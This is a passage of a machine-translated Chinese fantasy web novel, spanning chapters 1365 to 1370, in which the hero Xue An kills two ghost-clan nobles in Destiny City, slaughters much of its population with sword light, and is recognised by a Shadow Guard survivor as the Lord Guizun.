    Song Jingyue''s expression was very sad. Although she didn''t know who this Wenmu Ling was, the current situation reminded her of what happened yesterday, and she couldn''t help but feel sorry for the same illness.


    So despite the slim hope, she still asked in a low voice: "Master, what is the Shadow Guard? And what is the remnant of the remnant party?"


    "Shut up! Don''t talk!" Wen Lingcui''s face was solemn, and he whispered.


    I heard that Lingcui hadn''t yelled at her normally, but now she was obviously really scared.


    Song Jingyue didn''t dare to say anything, she could only look at Wen Muling with infinite sympathy.


    at the same time.


    Seeing Wen Mu Ling gently wiped the blood from the corner of her mouth, she giggled at the angry Ren Tianyun and Tianming Guijun on the high platform.


    "that''s nice!"


    Ok?


    that''s nice?


    What does it mean?


    Everyone in the audience was a little confused, not knowing what the woman was talking about.


    Then Wen Muling looked down at Ah Qing and the others, and smiled tragically, "I''m sorry, it hurts you!"


    Tears from A Qing and the others came out, and they shook their heads together.


    Wen Mu Ling raised her head and looked at the iron net mountain that pierced into the sky and concealed into the void, her face showed infinite admiration and nostalgia.


    "My lord, I''m so tired! Fortunately, I can finally see you soon! But before I die, I want all of them to bury you!"


    Speaking of this, a black jade decision flew out from Wen Muling''s chest.


    Yu Jue turned slowly, suddenly beating like a heart, and then stretched out countless black threads, and went straight to the iron net mountain in the distance.


    Tan Feiwen suddenly understood something and screamed in horror: "Hurry and stop her!"


    Ren Tianyun also knew that it was not good, so she urged her whole body to cultivate and wanted to kill Wen Mu Ling.


    But it was too late, I saw the silk thread extending from this black jade decision, instantly connected with the countless black brilliance on the iron net mountain.


    boom!


    The whole iron net mountain shook slightly.


    But because the mountain was too high, even though it was only a slight shaking, it caused the entire high platform and even the entire Destiny City to tremble.


    The violent power swept the audience, and Wen Mu Ling laughed extremely freely, and a line of blood and tears slowly flowed in the laughter.


    "This is the strength left by Lord Mingjun, who dare to defy you!" Wen Mu Ling''s beard and eyebrows were raised, and the words shook the sky.


    Ren Tianyun, Tan Feiwen, Destiny Ghost King, and everyone present all looked terrified.


    Especially the three people like Ren Tianyun are trembling all over.


    Because they can feel the immense power.


    "Go to hell!" Wen Muling''s face was full of morbid excitement.


    Because this legacy power is not something she can master at all, once she displays it, it will end in divine spirit.


    But just when countless black silk threads covered the sky, ready to kill everything.


    Beside the jade decision surrounded by black light, a slender and well-knotted hand suddenly appeared, and then slowly reached out, grasping the jade decision.


    boom!


    The sky suddenly stagnated with black light, and the world-killing blow that was pouring down also stopped.


    Then he heard a light sigh.


    "You can kill them, but is it worth it to take your own life for this?"

 Chapter 1365： 1 foot on knees

    The audience was deadly quiet.


    Everyone opened their eyes and stared blankly at the white-clothed young man in the sky, their brains were all in a state of downtime.


    Song Jingyue shocked all over, and then her heart was occupied by ecstasy.


    It''s him!


    I didn''t expect to see him here!


    Song Jingyue has a deep memory of this young man who rescued herself in the Zhu Lou.


    But immediately, she thought of something again, her heart gradually sank, and a deep worry appeared on her face.


    What is he doing?


    Didn''t he see the situation on the court now?


    Also stunned was Ah Qing on the high platform. Although she was bound, she still looked up hard and looked at Xue An blankly, her eyes full of incredible color.


    What is he doing? Could it be here to save me?


    Ren Tianyun and Tan Feiwen looked at each other, and they all saw the suspense and killing intent in each other''s eyes.


    In any case, the appearance of this boy in white clothes is very strange, and it is even more unclear whether it is an enemy or a friend, so both of them have secretly prepared.


    At the same time, Wen Mu Ling finally woke up from the confusion and roared, "Return the jade decision to me!"


    Speaking of it, Zhuangruo jumped up crazy.


    Xue An played with this jade decision and sighed slightly, "It''s hard for you to be infatuated. Let''s take a break!"


    After the words fell, Wen Mu Ling, who had rushed forward with her teeth and claws, froze instantly.


    Her eyes were full of horror, because she found that her whole body had lost control, and she couldn''t even move her fingers.


    Xue An smiled, then turned to look at the people on the high platform, and finally fixed his eyes on Ren Tianyun and Tan Feiwen, and said calmly: "Ren family? Tan family?"


    "That''s right! I''m Ren Tianyun, a direct descendant of the Ren family! Who are you?" Ren Tianyun asked in a cold voice, full of arrogance.


    "Who am I?" Xue An''s mouth showed a playful smile, "You don''t seem to be qualified to know who I am!"


    "You..." Ren Tianyun was furious and was about to attack.


    The Destiny Ghost on the side rushed out first and roared: "Boy, do you know who you are talking to?"


    At this moment, the destiny ghost king is very eager to do meritorious service. After all, his life can be pinched in Ren Tianyun''s hands. If he goes back and says that he may be in collusion with Mingjun''s remnant, then he is really over.


    That''s why he rushed out so impatiently.


    But as soon as his voice fell, Xue An''s eyes flashed with coldness, and he raised his hand to a palm.


    This palm seemed to fall from the sky, and instantly fell on the head of the destiny ghost.


    boom!


    Then there was a sound of crackling bones.


    Then I saw that the Destiny Ghost Lord, who was standing proudly on the high platform just now, was directly slapped into meatloaf by this palm.


    Flesh and flesh attached to the high platform floor, blood flowed freely, and the air was full of unpleasant smells.


    This blow seemed like a shocking shock, and the audience was silent at first, and then there was an uproar.


    Both Ren Tianyun and Tan Feiwen were also taken aback.


    Because they didn''t expect Xue An to make a sudden move.


    Unexpectedly, Ren Tianyun, who was still angry just now and was ready to do something, suddenly became very calm at this moment, but looked at Xue An coldly, and did not speak.


    Tan Feiwen, who was on the side, looked very ugly, took a deep breath, and asked in a deep voice, "What do you mean by this?"


    "What''s the meaning?" Xue An smiled, "It doesn''t mean anything, just because he doesn''t please his eyes, so I want to kill!"


    "You..." Tan Feiwen turned pale and couldn''t help being angry.


    This answer made many people feel chills.


    Because they all felt that the young man in white had stabbed a big basket.


    Only the ghosts have always oppressed the human race, and have never been bullied by the human race.


    Now that he does this, it will definitely arouse the anger of these strong ghosts.


    Sure enough, I saw layers of black air appearing on the **** corpses, and then recondensed into the body of the destiny ghost.


    It''s just that the destiny ghost monarch at this time is no longer the human body just now, but a completely ghost form.


    "I will tear you up completely!"


    The destiny ghost at this moment is almost mad.


    Having lived for thousands of years, he has never suffered this humiliation.


    He only said a word, and he was ruined by this guy in white clothes who didn''t know where he had come out.


    So just after showing his original shape, the Destiny Guijun was full of anger, and rushed up with a scream.


    But when his body just got up from the ground, Xue An snorted slightly and stomped lightly.


    boom!


    The void swayed, and a majestic force instantly fell on the head of the destiny ghost.


    Although this one did not crush his entire body like the palm just now, it made him kneel on the floor with a thump, making it difficult to get up.


    boom!


    This time the audience was a sensation.


    What is the existence of the destiny ghost?


    That''s the person in charge of this entire seat. Don''t look at him nodding and bowing his head and flattering when facing Ren Tianyun. In fact, no one who can become a ghost is good.


    But now the Destiny Ghost Lord didn''t even have the power to fight back, so he was ruined by the white-clothed boy with a palm of his human body, and was stepped on his knees on the ground again, making it difficult to raise his head.


    Such facts naturally shocked everyone.


    Song Jingyue opened her mouth slightly as she stared at everything that had happened.


    Although she knew that the white-clothed boy was very powerful, she did not expect to be so powerful.


    As for her master Wen Lingcui, her complexion changed drastically, and she didn''t dare to look directly at it.


    Xue An didn''t care about these gazes at him, but said indifferently: "Do you know why I want to kill you?"


    Destiny Guijun''s body was full of black energy, and he was struggling to get rid of the bondage.


    But all the struggles were in vain. Under Xue An''s suppression, the Destiny Ghost couldn''t even move, so he could only look at Xue An with horror.


    Xue An''s eyebrows are drooping because... you have lost your awe! "


    This sentence made many ghosts tremble.


    Tan Feiwen suddenly understood something and exclaimed: "No..."


    But before the words fell, Xue An stepped heavily on it, and a powerful force instantly crushed the Destiny Ghost Lord.


    When he died, the Destiny Ghost didn''t have time to let out a scream, and even the black energy of his body didn''t escape even a bit, he was directly crushed into nothingness.


    In an instant, a strong ghost king who was in charge of one party was wiped out.


    But the one who did it was just a human teenager.


    These facts gave many people an extremely absurd feeling.


    Because this is really incredible.


    Tan Feiwen and Ren Tianyun couldn''t help but looked down with a stunned face, until after a while, the two of them gradually recovered their sobriety.

 Chapter 1366： Burning blood

    The expressions on both of them are wonderful.


    Ren Tianyun''s eyes were full of murderous intent, but the whole person became very calm, just standing quietly.


    But Tan Feiwen was full of anger.


    Soon, she took a deep breath, raised her head and said coldly at Xue An.


    "Your Excellency is so reckless, do you really think I have no ghost clan?"


    Xue An smiled, but there was a bit of chill in his smile.


    "Whoever wants to behave? These four words should be the most suitable for you ghost race!"


    A deep murderous intent flashed in Tan Feiwen''s eyes, but she nodded immediately.


    "Very good! Since your Excellency thinks so, then we have nothing to say, there will be a period later!"


    After that, she turned around and left.


    Ren Tianyun also took a deep look at Xue An, sneered, and turned around to leave.


    For their direct descendants who came from an ancient wealthy family, they would not only receive training in cultivation, but also receive education in all aspects.


    One of the most important points is to stay calm no matter what.


    So whether it is Ren Tianyun or Tan Feiwen, even though they are full of anger at Xue An''s actions.


    But because Xue An''s reality is too strange, and the origin is unknown, and the strength is unknown.


    All the two of them were ready to evade their edge temporarily. After leaving here, with the strength of the Ren family and the Tan family, they can naturally check the origin of this guy and deal with them.


    Therefore, the two of them chose to leave in unison.


    And seeing this scene, many people could not help but secretly relieved.


    In any case, as long as the matter can be put through temporarily.


    Many people secretly make up their minds, and when things pass, they will leave this destiny plane immediately.


    After all, the plane of fate at this time is already the same as a volcano about to erupt.


    As for the dead destiny ghost...


    When he was alive, he was a ghost, but when he died, he was nothing.


    But when Ren Tianyun and Tan Feiwen were about to leave, Xue An said indifferently: "Do you think you can still go now?"


    boom!


    There was a silent uproar in the audience.


    Everyone is stupid.


    Did you take the initiative to provoke the Ren family and the Tan family?


    Could this boy in white clothes have a broken brain?


    Song Jingyue was also silly, and then tears appeared in her eyes anxiously, she tugged at her master''s sleeve, and said anxiously: "Master, he..."


    Wen Lingcui didn''t feel the strangeness of her apprentice at all. In fact, at this moment, the Taoist master of the bones was stunned and full of shock.


    "This young man should be very strong, but he seems to have forgotten that the opponent is a rich man from the depths of the ghost world!" Wen Lingcui whispered softly.


    really.


    After hearing these words from Xue An, Ren Tianyun and Tan Feiwen turned around and looked at Xue An with surprise. They didn''t seem to expect Xue An to say that.


    It was not until a moment later that Ren Tianyun smiled grimly, "It''s really interesting! There are such arrogant people under the world, do you think you are very powerful?"


    Although Tan Feiwen didn''t say a word, the killing intent flashing in her eyes had already explained her inner thoughts.


    Xue An smiled slightly, "I''m sorry, I don''t think I''m great, but I''m great!"


    "Hahahaha!" Ren Tianyun laughed loudly as if he heard some joke.


    But before laughing a few times, Ren Tianyun suddenly reduced her smile, and then said in a sharp tone: "Very good! I wanted to let you go temporarily, but if you are looking for death, then don''t blame others! I will let you know today. I know how good the Ren family is."


    As soon as the voice fell, Ren Tianyun''s figure had disappeared in place, and when she reappeared, she had come to Xue An''s front, and then raised her hand with a blow.


    Not to mention anything else, this speed alone is enough to be called astonishing.


    But in the face of this powerful blow, Xue An seemed to have not reacted, still standing there quietly, even the smile on the corner of his mouth did not change.


    There was a low exclamation in the audience, and many people secretly shook their heads, thinking that Xue An would undoubtedly lose.


    But as soon as this thought came up, Xue An''s palm was suddenly lifted in a short period of time, and he caught Ren Tianyun''s fist, which had already rushed to the front, and then squeezed it suddenly.


    "Ahhhh."


    With repeated screams, Ren Tianyun flew upside down in an instant. Looking at his arm, it was twisted into a twist shape, and black air was constantly escaping away.


    This scene stunned everyone, and then Xue An said indifferently: "Is this the power of your Ren family?"


    The tone was indifferent, but full of sarcasm.


    Ren Tianyun was already very angry,


    From birth to now, only he is above others, and he has never suffered such a big loss.


    Coupled with Xue An''s mockery, it was even more difficult for Ren Tianyun to accept, so he smiled grimly.


    "Very well, since you want to die that way, then I will fulfill you!"


    "Blood inflammation...burning the sky!"


    With this roar, Ren Tianyun''s eyes instantly turned into a dark red color like hell, and a little blood appeared around his body.


    One is divided into two, two is divided into four.......


    In an instant, this blood awn occupied the entire sky with an exponential growth rate.


    Ren Tianyun Jiejie laughed strangely, "You are proud of me to let me use this trick!"


    With that said, he took a step forward.


    boom!


    The sky is full of blood and flames.


    Amidst the heavy flames, the mighty power made everyone tremble, almost unable to stand.


    Wen Lingcui almost groaned and shouted: "This is the strength of the giants in the ghost world! This boy is dead!"


    Song Jingyue stared blankly at Xue An, who was enveloped by blood inflammation, her heart clenched.


    Because of the death of the destiny ghost, A Qing and others have already got rid of the shackles, so at this moment, A Qing suddenly shouted.


    "Run!"


    Hearing her shout, Xue An looked down at her and then smiled slightly.


    "Run? Why should I run?"


    Ren Tianyun laughed loudly, "I like your way of stiff mouth when you die, die for me!"


    boom!


    The boundless blood inflammation rushed forward, and Xue An''s figure appeared so small against the background of this blow.


    Many people have closed their eyes and cannot bear to look again.


    But at this moment, Xue An raised his hand and slowly pointed out a finger.


    Click!


    After the instruction was given, the void trembled suddenly, and then an invisible ripple spread instantly.


    These rushing blood inflammations were like small flames in the wind under the ripples, and they went out without even struggling.


    It was almost instantaneous, and the **** inflammation that had occupied the entire world vanished.


    Ren Tianyun''s pride solidified on her face, staring at all this dumbfounded.


    And Xue An smiled slightly, "I also like your lack of strength but dare to shout, so please go to death!"


    After all Xue An stepped out, came directly to Ren Tianyun, and then threw a punch.


    Ren Tianyun wanted to dodge, but was horrified to find that she couldn''t even move, she could only watch the punch rushing forward.


    But at this moment, a swaying black light suddenly appeared, instantly entangled Ren Tianyun, and then dragged him aside, able to avoid Xue An''s punch.


    But despite this, the black light almost shattered wherever the fist wind passed.


    puff!


    Tan Feiwen opened her mouth and spit out a mouthful of blood, her eyes full of shock.


    Just because the fist hits and hurts himself, how strong should this guy be?


    At the same time, Xue An stopped his fist, looked down at Tan Feiwen, and smiled coldly.


    "Very well, since you are here, let''s die together!"

 Chapter 1367： Im a slave, I can spare your life

    Seeing Xue An''s smile, Tan Feiwen''s heart was chilled, and the black glow that swayed like a living thing whirled around her body in an instant, firmly protecting it.


    Her movements were not unpleasant, but at the moment when the black light had just formed, a cold voice came from behind her.


    "Refining the grievances into such a way that you can send and receive heartily, how many souls have you killed?"


    Hearing this voice, Tan Feiwen became stiff, and her hair rooted up.


    Because the voice was so close, even Tan Feiwen could feel the warm air from her neck.


    Under infinite panic, Tan Feiwen did not hesitate to use the strongest killer move.


    But seeing the black light suddenly skyrocketed, and exploded countless fine light needles, spreading directly around.


    Wherever he went, the space made a snorting sound, as if countless holes were pierced by this light needle, showing its mighty power.


    But in this situation, one hand slowly reached out, directly traversed the layers of light needles, and grabbed the black mans body.


    The sky suddenly stagnated, and then it broke apart with a click.


    Countless black qi escaped, accompanied by the faint cry of crying.


    Tan Feiwen was so frightened that she could only stare at the scattered black light, her brain blank.


    He was bestowed by the family and was also the strongest magic weapon on which he became famous. He didn''t even arouse any waves, so he was shattered by a single move?


    Tan Feiwen suddenly felt a deep chill.


    At the same time, Xue An slowly walked out of the black air vortex, raised his eyebrows and smiled faintly.


    "Is it just this strength?"


    Tan Feiwen looked at Xue An blankly.


    Suddenly, she discovered that in the darkness behind Xue An, a dim figure was approaching silently.


    When Tan Feiwen moved in her heart, she immediately understood something, so she said in a deep voice, "Your Excellency is amazing! But have you ever thought about the consequences of confronting my Tan Jiazuo?"


    "Consequence..." Xue An smiled, "I haven''t thought about it, and I don''t bother to think about it. Anyway, your Tan family won''t exist for long. Why do I bother with that brain?"


    Tan Feiwen snorted, but her gaze saw that the almost transparent figure was getting closer and closer to Xue An, and Xue An seemed to be unconscious, still standing there quietly.


    This made Tan Feiwen feel so determined, she couldn''t help but smile.


    "Even though your Excellency is tyrannical, speaking such big talks is nothing more than laughing and generous! And there is no enmity between you and me, just because a destiny ghost can not commit this, so if you are willing, our Tan family can forget the blame. Make friends with your Excellency!"


    Tan Feiwen began to think about him, trying to dispel Xue An''s fighting spirit through this kind of speech.


    In fact, although she was talking, her attention was all focused on the figure that was getting closer and closer behind her.


    Closer, closer....


    Tan Feiwen licked her lips, and a charming smile appeared on her delicate face. "What do you think?"


    This smile makes many people feel lost.


    Xue An did not speak, but took a deep look at Tan Feiwen, and then a strange smile appeared on his face.


    "It''s not impossible, but I have a condition!"


    "Oh? What conditions?"


    Xue An said calmly: "You will be my slave! Let me drive! If this can be done, I can consider letting you go!"


    This sentence was like a bomb, causing an uproar in the audience.


    Tan Feiwen was even more pale with anger, but when she saw that the figure was no more than a few feet away from Xue An, she couldn''t help taking another deep breath, forcibly suppressing the anger in her heart, and said coldly.


    "Oh? If you really think so, then I can promise you!"


    what?


    The descendant of the wealthy Tan family actually agreed to be a slave to an unknown young man?


    This fact made many people''s mouths slightly open, and they couldn''t close them together!


    Xue An smiled, "Very good! But..."


    Before he finished speaking, a group of brilliant blood inflammation suddenly exploded in the black mist behind him, and fireworks went straight to Xue An''s back.


    Powerful and powerful, straight into the sky.


    These changes have caused many people to look upset.


    Ah Qing has been paying close attention to the situation in the court, and when Xue An asked Tan Feiwen to serve him as a slave, he had a strange look on his face and whispered in a low voice: "Huh, men are all the same!"


    But at this moment, the blood inflammation burst open, and Ah Qing couldn''t help screaming, "Be careful!"


    Xue An didn''t even look behind him, but said lightly: "I planned to come one by one, but are you so anxious to die?"


    Tan Feiwen''s eyes showed ecstasy.


    Because she knew very well that if Ren Tianyun dared to do this, it would never be as simple as a single blow.


    really.


    At the time when the blood was inflamed, a dark dagger with a strong ominous scent appeared silently in the darkness and pierced Xue An''s waist and eyes.


    Such a blow can be described as extremely damaging and poisonous.


    Because under the cover of blood inflammation, the breath of this blow was perfectly hidden.


    Ren Tianyun, who was hidden in the darkness, smiled silently, and the smile was full of mockery.


    What if it is great?


    Under my assassination, no matter how strong you are, you have to die!


    puff!


    The dagger penetrated Xue An''s body without hindrance.


    The smile on Ren Tianyun''s face instantly solidified.


    Because he was surprised to find that there was no blood as expected, and the hand feeling from the dagger was different.


    not good!


    Ren Tianyun just had this idea in her mind, and her body was already subconsciously preparing to evacuate.


    But at this moment, a faint sigh came from behind him.


    Ren Tianyun only had time to turn half of his body and saw Xue An standing behind him.


    Seeing Xue An''s face was hidden by most of the darkness ~ www.novelhall.com ~ only a pair of eyes are as bright as stars.


    Ren Tianyun''s heart trembled, her throat trembled, and she just wanted to shout something.


    Xue An didn''t give him this opportunity at all. Guanghua flashed in his eyes, and a ray of sword light pierced through Ren Tianyun''s eyebrows instantly, piercing through the back of his head, exploding a big hole.


    Ren Tianyun stood there in a daze, with the shock and fear in her eyes that had not had time to dissipate, and then her whole body was broken into pieces.


    Not only that, but the black air filled the air. Although Ren Tianyun''s soul was trying to reunite, no matter how hard he struggled, the cut between the eyebrows that was pierced remained motionless and gradually spread.


    at last.


    After a few breaths, a faint scream spread to everyone''s ears. The scream was full of unwillingness and resentment, but the black air burst completely and turned into nothingness.


    Before dying, I don''t know if Ren Tianyun had any regrets in her heart.


    At least Tan Feiwen already felt regret and fear from the bottom of her heart.

 Chapter 1368： This world is too dirty

    She trembled and looked at Ren Tianyun, who had completely lost her breath on the ground, her face pale with no blood.


    "You...you actually killed him?"


    "Huh? Is there any problem?" Xue An slowly stepped on the land soaked in Ren Tianyun''s blood, without sorrow or joy.


    Tan Feiwen trembled all over, and immediately remembered something, she hurriedly lowered her head and said in a trembled voice.


    "It''s nothing, this Ren Tianyun actually dared to oppose his master, and he was naturally responsible for his death!"


    "Master?" Xue An repeated lightly, and a smile appeared at the corner of his mouth.


    "Yes! Just now the master said that as long as I am willing to become your slave, you will let me go? I am willing to serve you as the master now!" Tan Feiwen said seriously.


    Xue An was noncommittal, walked up slowly, and looked at this Tan Feiwen quietly.


    Although Tan Feiwen''s complexion was still a little pale, the expression on her face was very serious, and she smiled lightly at Xue An, an indescribable softness.


    A Qing cursed in his heart, wave hoof!


    Xue An also laughed, then stretched out his hand to gently lift Tan Feiwen''s chin.


    There was a humiliating look in Tan Feiwen''s eyes, but she still raised her head very obediently.


    Xue looked at him quietly, and suddenly said, "Unfortunately, I forgot to tell you. If you want to be my servant, you are not qualified enough!"


    This sentence is more shocking than the killing of Ren Tianyun just now. At least many people are full of shock, looking at Xue An stupidly, and wondering what else this young man wants to do?


    Could it be...you''re crazy?


    Tan Feiwen was also startled. The infinite humiliation made her face pale, but immediately she bit her lip and whispered: "Master... what do you mean?"


    "What do you mean?" Xue An raised his eyebrows slightly, and said with a faint smile: "It means...you have to die too!"


    Words fall.


    Tan Feiwen''s hair was erect, and she immediately abandoned her human body, and a black shadow rushed out of the sky and flew straight into the distance.


    Her reaction and decision are not incorrect.


    She knew very well in her mind that as long as she could escape from here and return to the depths of the ghost world, she would immediately mobilize the strength of the Ren Jia Tan Family to completely strangle this dangerous young man.


    It''s a pity that all her plans finally fell through like a mirror.


    Because she hadn''t waited for her soul to escape from this high platform, a ray of sword light cut straight through it.


    puff!


    After a muffled sound, Tan Feiwen let out a scream, from which her soul was cut in half.


    And no matter how the two black qi squirmed, they couldn''t connect to each other again.


    Tan Feiwen didn''t hesitate to abandon the half of her spiritual thoughts and tried to leave with her main consciousness.


    Xue An didn''t move, but just raised his hand and shook his palm abruptly.


    boom!


    The space seemed to be crushed by Xue An, and Tan Feiwen also let out a terrifying scream.


    "You wait... The Tan Family and Ren Family will not let you go!"


    "Okay! I''m waiting!" Xue An said lightly.


    With the last explosion, the Tan Family''s dear girl also disappeared.


    The audience seemed to be silent even the breathing sound disappeared.


    Everyone stared blankly.


    The difference is that those ghost tribes who are usually arrogant and domineering are all showing horror at this moment.


    And many human races showed a hint of joy.


    Song Jingyue looked at Xue An on the high platform with admiration infinitely, and felt that her heartbeat seemed to stop.


    She knew very well, not to mention Ren Tianyun and Tan Feiwen who died later, even if they were the destiny ghosts, they were the existence that their teachers could not provoke.


    Therefore, in her admiration, a trace of sadness inevitably rose in her heart.


    Wen Lingcui was different. She looked at Xue An deeply, her eyes full of worry.


    As someone who knows everything about the ghost world, she naturally understands what it means to kill the wealthy children in the depths of the ghost world.


    It is extremely difficult for ghosts to give birth, and it is even more difficult to grow into a strong like Ren Tianyun and Tan Feiwen.


    Therefore, these direct descendants are precious treasures of various wealthy families, and the souls who have been killed by this white-clothed young man have fallen.


    One can imagine how angry the Ren family and the Tan family are.


    But Xue An was not moved at all, as if only two humble ants had just died in his hands, he glanced at the audience lightly, and then flew up, until he was trapped in the sky. On the front of Wen Mu Ling.


    Wen Mu Ling naturally saw everything that happened just now.


    She couldn''t help but tears when she saw that these enemies, who needed to sacrifice their lives to be eliminated, died like dogs in the hands of this white-clothed boy.


    Sir, have you seen it?


    Those who have conspired against you have finally begun to taste the bitter fruit.


    So when Xue An came to her, Wen Mu Ling''s eyes were full of gratitude and respect.


    Xue An waved his hand casually, and the divine consciousness that was bound to her dissipated.


    Wen Mu Ling gave a salute, "Thank you, Your Excellency, for killing the enemy for me!"


    Xue An raised his eyebrows slightly, and said with a faint smile, "Just thank you?"


    Wen Mu Ling was stunned, and immediately noticed that Xue An seemed to understand something when she looked at her gaze, her hand in her sleeve was slightly clenched, but she didn''t know how to respond.


    Xue An didn''t look at these at all, but turned his head and said in a calm tone: "Kneel down!"


    Ok?


    This command made Wen Mu Ling''s eyes widen instantly, and then a touch of incomprehensibility appeared on her face, but she still calmed down and spoke in a low voice.


    "My son, I made a vow at the beginning that I will only kneel one person in this life, so please forgive me!"


    Xue An did not speak, but looked at this Wen Mu Ling quietly, and the atmosphere suddenly became tense.


    A Qing was shocked and couldn''t help taking a few steps forward, just about to speak.


    Xue An turned around and said lightly: "For these guys, what do you think should be done?"


    Wen Mu Ling was stunned, and then looked down at the masses under her feet.


    She can see the panic on the faces of the ghosts and can also see the weakness in the eyes of many humans.


    The past came to mind, and then she shook her head and said softly.


    "My lord, I..."


    Xue An did not give her a chance to continue speaking at all. He just took a step forward and whispered: "This world is so dirty!"


    After finishing speaking, he saw his eyebrows raised and he gave a soft drink: "Sword of evil! Now!"


    boom!


    Countless sword lights suddenly appeared above the endless sky, and there was a light swaying on the tip of the sword.


    In an instant, almost the entire powerhouse on the seat saw this scene, and the whole person stood still.


    Under the point of the sword, the countless ghost races that used to be arrogant and arrogant even squatted on the ground.


    "kill!"

 Chapter 1369： Like a dragon sword poster should come

    Under the word, the sword light fell like a river, pouring down.


    As far as I can see, I saw countless ghost races being pierced by sword light before they even had time to scream, turning into nothing.


    Not only the ghost tribe, many human tribes who served as tigers to help and abuse them also fell under the sword at the same time.


    Song Jingyue stared blankly, but saw these sword lights whizzing past her body, not hurting her at all.


    Just as her scalp was numb due to excessive consternation, she was awakened by a scream. When she looked back, she saw that her unlucky brother Leng Bocheng had been pierced by a sword and died.


    The corpse fell to the ground, blood flowing into a river.


    The entire Destiny City, and even the entire Destiny Plane, disappeared more than half of the population in an instant, including ghosts and humans.


    And in a small town thousands of miles away from the Destiny City, Jin Jueseng was sitting in a tea shed drinking tea, but the tea owner was so scared that he didn''t know where to go.


    Because behind Jin Jue, there stood a respectful ghost race.


    This ghost tribe looks like a teenager, but it doesn''t have the arrogance and ruthlessness of those ghost tribes.


    But even so, the tea shed owner was frightened and fled.


    The young ghost clan seemed a little sad, "Master! Are our ghost clan so hateful?"


    Jin Jue nodded and continued to eat dry cakes slowly.


    The young ghost clan sighed softly, "I know that I am deeply guilty. Fortunately, I have met Master, otherwise I may have spent my whole life in a muddle."


    Jin Jue smiled.


    But at this moment, the vision above the sky attracted the attention of the young ghost race.


    When he saw that there were countless sword beams and noticed the flames burning at the top of the sword beams, he was shocked and exclaimed: "Master! Look!"


    Jin Jue naturally felt the strangeness. After he raised his head and looked at it, a glimpse of astonishment flashed through his clear eyes, but he immediately lowered his eyebrows and said softly.


    "Don''t worry about that, do you remember the confession spell I taught you?"


    "remember!"


    "Read it!"


    "Yes Yes!"


    Despite the horror in his heart, the young ghost clan closed his eyes and began to chant the curse in a low voice.


    At the same time, the sky full of sword lights poured down and swept everything in an instant.


    When Jian Mang descended on this tea shed, almost all of them aimed at the young ghost race.


    But when he rushed to the front, he suddenly stopped and then spun slightly.


    The young ghost clan closed his eyes tightly, chanting more than ever.


    These sword lights gradually became soft, and finally withdrew slowly.


    Unexpectedly, when these sword lights passed by Jin Jue, they all bend slightly, like a nod after seeing an acquaintance, and then disappeared.


    Jin Jue was startled slightly, then laughed.


    After feeling the threat of the sword light disappeared, the young ghost clan opened his eyes in horror.


    "Master...Master, what was that just now?"


    Jin Jue looked at the mighty sea of ??dragons and swords, a complex light appeared in his eyes, and finally he whispered softly, "That''s retribution!"


    "Retribution..." The young ghost clan whispered softly, the piety and honesty in his eyes couldn''t help becoming purer.


    "Master, my ghost tribe has serious sins, and we should be suffering from this calamity. I am willing to confess for my entire tribe in the future!"


    "Shan Zai!" Jin Jue nodded, then stood up and put down a silver horn.


    "Let''s go!"


    One person and one ghost disappeared on the official road.


    In the sky above Destiny City, Wen Mu Ling''s eyes widened, staring at everything in front of her in horror.


    This scene seemed to be beyond her understanding.


    Except for the Lord Mingjun back then, she had never seen an existence as powerful as Xue An.


    As for the masses of sentient beings under the sword light, they were even more silent, almost unable to stand.


    at last.


    After being thoroughly cleaned up, the sword light gradually dispersed, revealing the following scene.


    Countless corpses were wiped out, and only a small number of people stood on the spot, pale, shaking like chaff.


    Xue An said lightly: "What do you think of it now?"


    Wen Mu Ling shook slightly and finally recovered from the panic, then took a deep breath and spoke slowly.


    "The son''s power is shocking, but my oath is unchangeable!"


    Xue An smiled. I don��t know when the black jade decision appeared in his hand again. He weighed it lightly, and said lightly, ��It��s not bad that he can have a loyal man like you!��


    Wen Muling suddenly raised her eyes and looked at Xue An in horror, her voice trembled a little, "My son...you...what did you say?"


    Xue An smiled, "I mean he can have a subordinate like you, luck!"


    After all, Xue An fiddled with Yujue in his hand, looked up at the towering iron net mountain in the distance, and said lightly.


    "It''s really surprising that some of his Shadow Guards can survive."


    Wen Muling''s cheeks were flushed from overexcitement, and she said bitterly, "Master...Master, who are you?"


    "who am I?"


    Xue An smiled, then turned his head and looked at Wen Mu Ling deeply, a white flame suddenly appeared between his brows.


    Seeing this flame, Wen Mu Ling was struck by lightning, and under the huge shock, even her eyes became lost.


    "Now, do you know who I am?" Xue An retracted the flame and said lightly.


    Wen Mu Ling finally awoke from the shock, and then fell to her knees without hesitation, she couldn''t make a sound when she wanted to say something, she could only choke.


    "Ming Jun''s shadow guard Wen Mu Ling has seen Lord Guizun!"


    That''s right!


    At that time, Xue An smashed the ghost world, and one of the most famous names was this **** fire ghost, and even the same name as the original Mingjun.


    But this is not why Wen Muling was so respectful to Xue An, and even fell to her knees without hesitation.


    The real reason is that Wen Muling had heard Mingjun personally say that he has a very close relationship with Shenhuo Guizun, even as an irresistible acquaintance and this is indeed the case.


    At that time, the gods of fire and ghosts joined forces with Mingjun to do a lot of earth-shattering things, and even the depths of the conquered ghost world and all the powerful men in the central ghost world bowed their heads, not daring to disobey the slightest.


    At that time, Wen Mu Ling was just a very humble little girl in the Shadow Guard, even Ming Jun, she just looked at it from a distance, but this did not prevent her from admiring Ming Jun and Xue An. Feelings.


    But later, everything changed.


    First, the ghost of the gods and fire suddenly disappeared, Mingjun even searched the entire ghost world, but did not find the slightest trace of him, which made the Mingjun at that time very depressed, and even closed for ten years.


    And the change is at this time.


    Immediately followed by a series of shocking changes, the complexity of the process, even Wen Mu Ling is only a little understanding.


    The only thing she knew was that the Shadow Guard and the many subordinates under Mingjun were all killed, and Master Mingjun was also missing.

 Chapter 1370： Stripping

    Only because of some things, he barely escaped from the central ghost realm, and then began to drift around, becoming a lonely soul without an owner.


    Wen Mu Ling didn''t know exactly what happened, but she knew that it was the wealthy families in the Central Ghost Realm who killed Lord Mingjun.


    So she wants revenge, even if she takes her life for it, she will not hesitate.


    But how easy is this?


    With her strength, it is difficult to enter the depths of the ghost world, let alone the central ghost world?


    Therefore, after repeated failures, she had to wait silently in the fringe ghost world, waiting for the opportunity.


    Unexpectedly, this time he was going to burn the jade and stone, but he waited for the long-lost gods and ghosts.


    At this moment, Wen Mu Ling couldn''t help but think of the rumored Lord Mingjun who had been utterly destroyed, and couldn''t help crying with grief.


    And this scene also made A Qing and other Zhulou women collectively confused.


    You must know that in the past Wen Mu Ling showed in front of them, but was so calm and almost ruthless, and never kneeled to anyone.


    This is something they all know well, and as a result, today, the extremely strong Wen Mu Ling fell on her knees to the white-clothed boy, and she couldn''t make a sound.


